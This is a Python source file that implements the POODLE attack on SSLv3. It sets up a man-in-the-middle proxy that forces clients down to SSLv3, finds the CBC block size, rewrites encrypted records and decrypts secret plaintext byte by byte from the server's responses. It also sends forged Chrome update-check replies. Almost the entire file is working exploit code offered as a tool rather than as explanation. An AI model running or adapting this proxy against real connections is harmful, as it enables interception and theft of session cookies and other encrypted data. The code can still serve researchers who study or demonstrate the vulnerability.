#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
	Poodle  attack implementation
	Author: mpgn <martial.puygrenier@gmail.com>
	Created: 03/2018 - Python3
	License: MIT
'''

import argparse
import binascii
import os
import re
import select
import socket
import socketserver
import struct
import sys
import threading
import time

class bcolors:
	HEADER = '\033[95m'
	OKBLUE = '\033[94m'
	OKGREEN = '\033[92m'
	WARNING = '\033[93m'
	FAIL = '\033[91m'
	ENDC = '\033[0m'
	BOLD = '\033[1m'
	UNDERLINE = '\033[4m'
	MAJ = '\033[45m'
	BLUE = '\033[44m'
	ORANGE = '\033[43m'
	CYAN = '\033[46m'
	RED = '\033[41m'
	GREEN = '\033[42m'
	YELLOW = '\033[100m'

class Poodle():

	def __init__(self):
		self.length_block = 8
		self.length_block_found = False
		self.first_packet_found = False
		self.find_block_length = False
		self.first_packet = ''
		self.ssl_header = ''
		self.frame = ''
		self.data_altered = False
		self.decipherable = False
		self.count = 0
		self.decipher_byte = ""
		self.secret = []
		self.length_request = 0
		self.current_block = args.start_block
		self.secret_block = []
		self.packet_count = 0
		self.downgrade = False
		self.autoDowngrade = False
		self.length_previous_block = 0

		self.applyBlock = False

	def exploit(self, content_type, version, length, data, request):
		# if data and the data is not a favicon check #7
		if content_type == 23 and length > 24 and length >= len(self.first_packet):
			print("exploit call")
			traffic.favicon = True
			# save the first packet, so we can generate a wrong HMAC when we want
			# TODO : remove this and just alter the last byte of the packet when length of the
			#       block is found
			if self.first_packet_found == False:
				self.first_packet = data
				self.ssl_header = struct.pack('>BHH', content_type, version, length)
				self.first_packet_found = True
			
			if length == 32:
				print("Packet with length 32 ignored, data: " + str(data));
			else:
				# find the length of a block and return an HMAC error when we find the length    
				if self.find_block_length == True:
					if poodle.find_size_of_block(length) == 1:
						#print("Attempting to return 500 Internal server error")
						#data = "HTTP/1.0 500 Internal Server Error\r\n\r\n"
						#request.send(data.encode())
						return (self.first_packet, self.ssl_header, True)

				# exploit exploit exploit
				if self.length_block_found == True:
					self.data_altered = True
					if args.stop_block == 0:
						self.total_block = (len(data)/self.length_block)-2
					else:
						self.total_block = args.stop_block

					request = self.split_len(binascii.hexlify(data), 16)

					request[-1] = request[self.current_block]
					pbn = request[-2]
					pbi = request[self.current_block - 1]
					self.decipher_byte = chr((self.length_block-1) ^ int(pbn[-2:],16) ^ int(pbi[-2:],16))
					sys.stdout.write("\r[+] Sending request [%3d] \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (length, self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
					sys.stdout.flush()
					data = binascii.unhexlify(b''.join(request))

		return data, struct.pack('>BHH', content_type, version, length), False

	def decipher(self):
		self.secret_block.append(self.decipher_byte.encode("unicode_escape").decode("utf-8"))
		sys.stdout.write("\r[+] Sending request \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
		sys.stdout.flush()
		if len(self.secret_block) == self.length_block and self.current_block < (self.total_block):
			print('')
			self.secret += self.secret_block[::-1]
			self.current_block = self.current_block + 1
			self.secret_block = []
		elif len(self.secret_block) == self.length_block and self.current_block == self.total_block:
			# stop the attack and go to passive mode
			self.secret += self.secret_block[::-1]
			self.secret_block = []
			poodle.length_block_found = False
			print('\nStopping the attack...')

	def decipher2(self):
		print(self.decipher_byte.encode("unicode_escape").decode("utf-8"))

	def split_len(self, seq, length):
		return [seq[i:i+length] for i in range(0, len(seq), length)]

	def find_size_of_block(self, length_current_block):
		print(str(length_current_block), str(self.length_previous_block), str(length_current_block - self.length_previous_block))
		if (length_current_block - self.length_previous_block) == 8 or (length_current_block - self.length_previous_block) == 16:
			print("CBC block size " + str(length_current_block - self.length_previous_block))
			self.length_block = length_current_block - self.length_previous_block
			return 1
		else:
			self.length_previous_block = length_current_block
		return 0

class Traffic():
	def __init__(self):
		self.protocol_all = { 768:[' SSLv3.0 ',bcolors.RED], 769:[' TLSv1.0 ',bcolors.GREEN], 770:[' TLSv1.1 ',bcolors.GREEN], 771:[' TLSv1.2 ',bcolors.GREEN], 772:[' TLSv1.3 ',bcolors.GREEN]}
		self.protocol_current = ''
		self.protocol_current_color = bcolors.GREEN
		self.protocol_downgrade = 0
		self.protocol_autoDowngrade = 0
		self.favicon = False

	def info_traffic(self, color1, protocol, color2, status):
		print(''.rjust(int(columns)-20) + color1 + bcolors.BOLD + protocol + color2 + bcolors.BOLD + status + bcolors.ENDC)

class ProxyTCPHandler(socketserver.BaseRequestHandler):
	""" 
	The proxy respond to the CONNECT packet then just forward SSL packet to the server
	or the client. When active mode is enabled, the proxy alter the encrypted data send
	to the serveur
	"""
	def handle(self):

		print("handle call");
	
		# Connection to the secure server
		socket_server = socket.create_connection((args.server, args.rport))
		# input allow us to monitor the socket of the client and the server
		inputs = [socket_server, self.request]
		running = True
		connect = True
		isValid = True
		emptyByte = 0
		lastEmptyByte = 0
		while running:
			readable = select.select(inputs, [], [])[0]
			for source in readable:
				if source is socket_server:
					#try:
					data = socket_server.recv(1024)
					# except socket.error as err:
					#     break
					#print('Server -> proxy -> client')
					#print("Received: " + str(data));
					if len(data) == 0:
						running = False
						break
					(content_type, version, length) = struct.unpack('>BHH', data[0:5])
					
					if poodle.data_altered == True:
						poodle.count = poodle.count + 1
						if content_type == 23:
							# 23 -> Application data (no HMAC error)
							poodle.decipher()
							poodle.count = 0
						# elif content_type == 21:
							# 21 -> HMAC error
						poodle.data_altered = False
					poodle.packet_count += 1
					if poodle.find_block_length == False and poodle.length_block_found == False and poodle.downgrade == False:
						sys.stdout.write("\r[OK] -> packed send and receive %3s %s %s" % (poodle.packet_count, ''.rjust(int(columns)-56), traffic.protocol_current_color + traffic.protocol_current + bcolors.BLUE + bcolors.BOLD + ' passive  ' + bcolors.ENDC))
						# cursor at the end, tssss
						sys.stdout.write("\r[OK] -> packed send and receive %3s" % (poodle.packet_count))
						sys.stdout.flush()
					if poodle.downgrade == True and traffic.protocol_current != ' SSLv3.0 ' and traffic.protocol_downgrade == 0:
						print("Sending handshake failure")
						self.request.send(binascii.unhexlify("15030000020228"))
						traffic.protocol_downgrade = 1
						poodle.downgrade == False
					else:
						# we send data to the client
						self.request.send(data)

				elif source is self.request:
					if connect == True:
						"""
							This block of code is only ran once.
							It attempts to check if this is an initial connection message and if it is, 
							it pretends that the connection was successfully established.
						"""
						#print('Client -> proxy')
						data =  self.request.recv(1024)
						print("Received: "+ str(data));
						#print("Received: " + data.decode("utf-8"));
						connect = False
						#data = "HTTP/1.0 200 Connection established\r\n\r\n"
						#self.request.send(data.encode())
						if 'CONNECT' in str(data):
							if 'forums.cpanel.net' in str(data):
								data = "HTTP/1.1 200 Connection established\r\n\r\n"
								self.request.send(data.encode())
								break
							elif 'clients2.google.com' in str(data):
								#Fix for Chrome's update checker
								data = 'HTTP/1.1 200 Connection established\r\n\r\n<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="4371" elapsed_seconds="3642"/><app appid="hfnkpimlhhgieaddgfemjhofmfblmnib" cohort="1:jcl:" cohortname="Auto" status="ok"><updatecheck status="noupdate"/></app><app appid="hnimpnehoodheedghdeeijklkeaacbdc" cohort="" cohortname="" status="ok"><updatecheck status="noupdate"/></app><app appid="npdjjkjlcidkjlamlmmdelcjbcpdjocm" cohort="1:i2r:" cohortname="Win" status="ok"><updatecheck codebase="http://www.google.com/dl/release2/chrome_component/ANo3o4NBTqM-_101.3.33.21/101.3.33.21_win_ChromeRecovery.crx2" fp="2.101.3.33.21" status="ok"/></app></gupdate>'
								self.request.send(data.encode())
								print("Update check found")
								isValid = False;
								if poodle.applyBlock:
									self.request.close()
								return
							else: #Some other domain, don't give it to them.
								data = "HTTP/1.1 404 Not Found\r\n\r\n"
								self.request.send(data.encode())
								print("isValid = false")
								isValid = False
								if poodle.applyBlock:
									self.request.close()
								return
					else:
						#print('Client -> proxy -> server')
						try:
							# Attempt to decode the header of the message.
							ssl_header = self.request.recv(5)
							print("Header: " + str(ssl_header))
						except struct.error as err:
							print("Header error");
							break
						if ssl_header == '':
							print("empty header");
							running = False
							break
						try:
							# Unpack header. > = define data as big endian. B = grab unsigned char. H = grab unsigned short.
							(content_type, version, length) = struct.unpack('>BHH', ssl_header)
							print("client -> server", str(content_type), str(version), str(length))
							try:
								# Cast version based on version (array notations defined above under class Traffic) traffic.protocol_all is the array.
								traffic.protocol_current = traffic.protocol_all[version][0]
								traffic.protocol_current_color = traffic.protocol_all[version][1]
								if int(version) != 768:
									print("Warning: Protocol not SSLV3!")
									if traffic.protocol_downgrade == 0 and poodle.autoDowngrade == True:
										print("Attempting to automatically downgrade...")
										traffic.protocol_downgrade = 1
							except KeyError as err:
								# avoid error if the protocol is SSLv2.0
								traffic.protocol_current = traffic.protocol_all[length][0]
								traffic.protocol_current_color = traffic.protocol_all[length][1]
						except struct.error as err:
							# avoid error in chrome browser
							return
						if traffic.protocol_downgrade == 1 and content_type == 23:
							traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.YELLOW, ' downgrade ')
							traffic.protocol_downgrade = 0
						data = self.request.recv(length)
						(data, ssl_header, error) = poodle.exploit(content_type, version, length, data, self.request)
						if error:
							data = 'HTTP/1.1 200 Connection established\r\n\r\n<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="4371" elapsed_seconds="3642"/><app appid="hfnkpimlhhgieaddgfemjhofmfblmnib" cohort="1:jcl:" cohortname="Auto" status="ok"><updatecheck status="noupdate"/></app><app appid="hnimpnehoodheedghdeeijklkeaacbdc" cohort="" cohortname="" status="ok"><updatecheck status="noupdate"/></app><app appid="npdjjkjlcidkjlamlmmdelcjbcpdjocm" cohort="1:i2r:" cohortname="Win" status="ok"><updatecheck codebase="http://www.google.com/dl/release2/chrome_component/ANo3o4NBTqM-_101.3.33.21/101.3.33.21_win_ChromeRecovery.crx2" fp="2.101.3.33.21" status="ok"/></app></gupdate>'
							self.request.send(data.encode())
						data_full = ssl_header+data
						# we send data to the server
						poodle.packet_count += 1
						socket_server.send(data_full)
		return

class MyTCPHandler(socketserver.BaseRequestHandler):
	"""
	The request handler class for our server.

	It is instantiated once per connection to the server, and must
	override the handle() method to implement communication to the
	client.
	"""

	def handle(self):
		# self.request is the TCP socket connected to the client
		self.data = self.request.recv(1024).strip()
		print("{} wrote:".format(self.client_address[0]))
		print(self.data)
		time.sleep(5)
		# just send back the same data, but upper-cased
		self.request.sendall(self.data.upper())

if __name__ == '__main__':
	
	parser = argparse.ArgumentParser(description='Poodle Exploit by @mpgn_x64')
	parser.add_argument('proxy', help='ip of the proxy')
	parser.add_argument('port', type=int, help='port of the proxy')
	parser.add_argument('server', help='ip of the remote server')
	parser.add_argument('rport', type=int, help='port of the remote server')
	parser.add_argument('--start-block', type=int, default=1, help='start the attack at this block')
	parser.add_argument('--stop-block', type=int, default=0, help='stop the attack at this block')
	args = parser.parse_args()

	rows, columns = os.popen('stty size', 'r').read().split()
	# Create server and bind to set ip
	poodle = Poodle()
	socketserver.TCPServer.allow_reuse_address = True
	httpd = socketserver.TCPServer((args.proxy, args.port), ProxyTCPHandler)
	proxy = threading.Thread(target=httpd.serve_forever)
	proxy.daemon=True
	proxy.start()

	traffic = Traffic()

	print('Proxy is launched on {!r} port {}'.format(args.proxy, args.port))
	print('Passive mode enabled by default')

	print('\nType help to show all command line, ' + bcolors.BLUE + bcolors.BOLD + 'passive' + bcolors.ENDC + ' mode is by default enabled\n')
	#print(''.rjust(int(columns)-9) + bcolors.BLUE + bcolors.BOLD + ' passive ' + bcolors.ENDC)

	while True:
		try:
			input_u = input(bcolors.BOLD + "> " + bcolors.ENDC)
			if input_u == 'active':
				print('Active mode enabled, waiting for data... sendAttack()')
				poodle.find_block_length = False
				poodle.length_block_found = True
				poodle.downgrade = False
				traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.MAJ, '  active   ')
			elif input_u == 'search':
				print('Waiting for data... findlengthblock()')
				poodle.find_block_length = True
				poodle.length_block_found = False
				poodle.downgrade = False
				traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.ORANGE, '  search   ')
			elif input_u == 'downgrade':
				print('Downgrade the protocol to SSLv3')
				poodle.downgrade = True
				poodle.autoDowngrade = True
			elif input_u == "passive":
				print('Passive mode enabled')
				poodle.find_block_length = False
				poodle.length_block_found = False
				poodle.length_block = 8
				poodle.downgrade = False
				traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.BLUE, '  passive  ')
			elif input_u == "help":
				print('~~~~Help command line~~~~\n')
				traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.ORANGE, '  help   ')
				print(bcolors.BOLD + 'downgrade' + bcolors.ENDC + ': downgrade the protocol to SSLv3 (not working on firefox)')
				print(bcolors.BOLD + 'search' + bcolors.ENDC + ': find the block length (8 or 16). Use the command findlengthblock() in JS after launch this command')
				print(bcolors.BOLD + 'active' + bcolors.ENDC + ': active mode alter the data. Use the command sendAttack() in the JS after launch this command ')
				print(bcolors.BOLD + 'passive' + bcolors.ENDC + ': passive mode does not alter the data. Use the command reset() in the JS after launch this command ')
				print(bcolors.BOLD + 'exit' + bcolors.ENDC + ': show deciphered byte and exit the program properly')
			elif input_u == "block":
				print("blocking all other connections")
				poodle.applyBlock = True
			elif input_u == "exit":
				print("Exiting...")
				break
		except KeyboardInterrupt:
			print("Exiting...")
			print("Stopping proxy... bye bye")
			break

	print("\n\033[32m{-} Deciphered plaintext\033[0m :", ('').join(poodle.secret))